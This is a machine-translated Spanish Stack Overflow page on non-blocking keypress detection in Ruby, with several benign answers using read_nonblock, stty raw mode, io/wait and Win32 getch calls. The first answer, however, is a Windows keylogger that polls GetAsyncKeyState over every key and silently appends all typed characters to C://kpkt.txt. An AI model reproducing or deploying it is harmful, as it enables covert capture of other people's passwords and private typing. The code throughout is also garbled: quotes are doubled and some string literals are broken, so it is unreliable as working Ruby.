valores - manejo de cadenas en ruby
Detección de pulsaciones de teclas(sin bloqueo) sin getc/gets en Ruby (6)
Ahora usa este
require ''Win32API''
VK_SHIFT = 0x10
VK_ESC = 0x1B
def check_shifts()
$listener.call(VK_SHIFT) != 0 ? true : false
end
# create empty Hash of key codes
keys = Hash.new
# create empty Hash for shift characters
uppercase = Hash.new
# add letters
(0x41..0x5A).each { |code| keys[code.chr.downcase] = code }
# add numbers
(0x30..0x39).each { |code| keys[code-0x30] = code }
# add special characters
keys['';''] = 0xBA; keys[''=''] = 0xBB; keys['',''] = 0xBC; keys[''-''] = 0xBD; keys[''.''] = 0xBE
keys[''/''] = 0xBF; keys[''`''] = 0xC0; keys[''[''] = 0xDB; keys['']''] = 0xDD; keys["''"] = 0xDE
keys[''//'] = 0xDC
# add custom key macros
keys["/n"] = 0x0D; keys["/t"] = 0x09; keys[''(backspace)''] = 0x08; keys[''(CAPSLOCK)''] = 0x14
# add for uppercase letters
(''a''..''z'').each { |char| uppercase[char] = char.upcase }
# add for uppercase numbers
uppercase[1] = ''!''; uppercase[2] = ''@''; uppercase[3] = ''#''; uppercase[4] = ''$''; uppercase[5] = ''%''
uppercase[6] = ''^''; uppercase[7] = ''&''; uppercase[8] = ''*''; uppercase[9] = ''(''; uppercase[0] = '')''
# add for uppercase special characters
uppercase['';''] = '':''; uppercase[''=''] = ''+''; uppercase['',''] = ''<''; uppercase[''-''] = ''_''; uppercase[''.''] = ''>''
uppercase[''/''] = ''?''; uppercase[''`''] = ''~''; uppercase[''[''] = ''{''; uppercase['']''] = ''}''; uppercase["''"] = ''"''
uppercase[''//'] = ''|''
# create a listener for Windows key-presses
$listener = Win32API.new(''user32'', ''GetAsyncKeyState'', [''i''], ''i'')
# call listener once to initialize lsb''s
keys.each_value { |code| $listener.call(code) }
logs = File.open(''C://kpkt.txt'', ''a'')
while true
break if $listener.call(VK_ESC) != 0
keys.each do |char, code|
n = $listener.call(code)
if n and n & 0x01 == 1
check_shifts() ? logs.write("#{uppercase[char]}") : logs.write("#{char}")
end
end
end
logs.close()
Tengo una tarea simple que necesita esperar a que algo cambie en el sistema de archivos (es esencialmente un compilador para prototipos). Así que tengo un simple bucle infinito con un sueño de 5 segundos después de la comprobación de archivos modificados.
loop do
# if files changed
# process files
# and puts result
sleep 5
end
En lugar del saludo Ctrl+C
, prefiero poder probar y ver si se ha presionado una tecla, sin bloquear el bucle. Esencialmente, solo necesito una forma de saber si hay pulsaciones de teclas entrantes, luego una forma de agarrarlas hasta que se alcance una Q, y luego salir del programa.
Lo que quiero es:
def wait_for_Q
key_is_pressed && get_ch == ''Q''
end
loop do
# if files changed
# process files
# and puts result
wait_for_Q or sleep 5
end
O, ¿es esto algo que Ruby simplemente no hace (bueno)?
Aquí hay una forma de hacerlo, usando IO#read_nonblock
:
def quit?
begin
# See if a ''Q'' has been typed yet
while c = STDIN.read_nonblock(1)
puts "I found a #{c}"
return true if c == ''Q''
end
# No ''Q'' found
false
rescue Errno::EINTR
puts "Well, your device seems a little slow..."
false
rescue Errno::EAGAIN
# nothing was ready to be read
puts "Nothing to be read..."
false
rescue EOFError
# quit on the end of the input stream
# (user hit CTRL-D)
puts "Who hit CTRL-D, really?"
true
end
end
loop do
puts "I''m a loop!"
puts "Checking to see if I should quit..."
break if quit?
puts "Nope, let''s take a nap"
sleep 5
puts "Onto the next iteration!"
end
puts "Oh, I quit."
Tenga en cuenta que a pesar de que utiliza IO no bloqueante, sigue siendo IO en búfer . Eso significa que sus usuarios tendrán que presionar Q
luego <Enter>
. Si quieres hacer IO sin búfer, te sugiero que visites la biblioteca de ruby curses.
Combinando las diversas soluciones que acabo de leer, se me ocurrió una forma multiplataforma para resolver ese problema. Aquí encontrará detalles , pero aquí está el código relevante: un método GetKey.getkey
que devuelve el código ASCII o nil
si no se presionó ninguno.
Debería funcionar tanto en Windows como en Unix.
module GetKey
# Check if Win32API is accessible or not
@use_stty = begin
require ''Win32API''
false
rescue LoadError
# Use Unix way
true
end
# Return the ASCII code last key pressed, or nil if none
#
# Return::
# * _Integer_: ASCII code of the last key pressed, or nil if none
def self.getkey
if @use_stty
system(''stty raw -echo'') # => Raw mode, no echo
char = (STDIN.read_nonblock(1).ord rescue nil)
system(''stty -raw echo'') # => Reset terminal mode
return char
else
return Win32API.new(''crtdll'', ''_kbhit'', [ ], ''I'').Call.zero? ? nil : Win32API.new(''crtdll'', ''_getch'', [ ], ''L'').Call
end
end
end
Y aquí hay un programa simple para probarlo:
loop do
k = GetKey.getkey
puts "Key pressed: #{k.inspect}"
sleep 1
end
En el enlace proporcionado anteriormente, también muestro cómo usar la biblioteca de curses
, pero el resultado se vuelve un poco raro en Windows.
También es posible que desee investigar la biblioteca ''io / wait'' para Ruby, que proporciona la ready?
Método a todos los objetos IO. No he probado su situación específicamente, pero la estoy usando en una biblioteca basada en socket en la que estoy trabajando. En su caso, siempre que STDIN sea solo un objeto de IO estándar, probablemente podría dejar el momento ready?
devuelve un resultado no nulo, a menos que esté interesado en averiguar qué tecla se presionó realmente. Esta funcionalidad se puede obtener a través de require ''io/wait''
, que forma parte de la biblioteca estándar de Ruby. No estoy seguro de que funcione en todos los entornos, pero vale la pena intentarlo. Rdocs: http://ruby-doc.org/stdlib/libdoc/io/wait/rdoc/
También puedes hacer esto sin el búfer. En sistemas basados en Unix es fácil:
system("stty raw -echo") #=> Raw mode, no echo
char = STDIN.getc
system("stty -raw echo") #=> Reset terminal mode
puts char
Esto esperará a que se presione una tecla y devolverá el código de caracteres. No es necesario presionar.
Ponga el char = STDIN.getc
en un bucle y ya lo tiene!
Si estás en Windows, de acuerdo con The Ruby Way, necesitas escribir una extensión en C o usar este truco (aunque esto fue escrito en 2001, por lo que podría haber una mejor manera)
require ''Win32API''
char = Win32API.new(''crtdll'',''_getch'', [], ''L'').Call
Aquí está mi referencia: gran libro, si no lo tienes, deberías
Una combinación de las otras respuestas obtiene el comportamiento deseado. Probado en ruby 1.9.3 en OSX y Linux.
loop do
puts ''foo''
system("stty raw -echo")
char = STDIN.read_nonblock(1) rescue nil
system("stty -raw echo")
break if /q/i =~ char
sleep(2)
end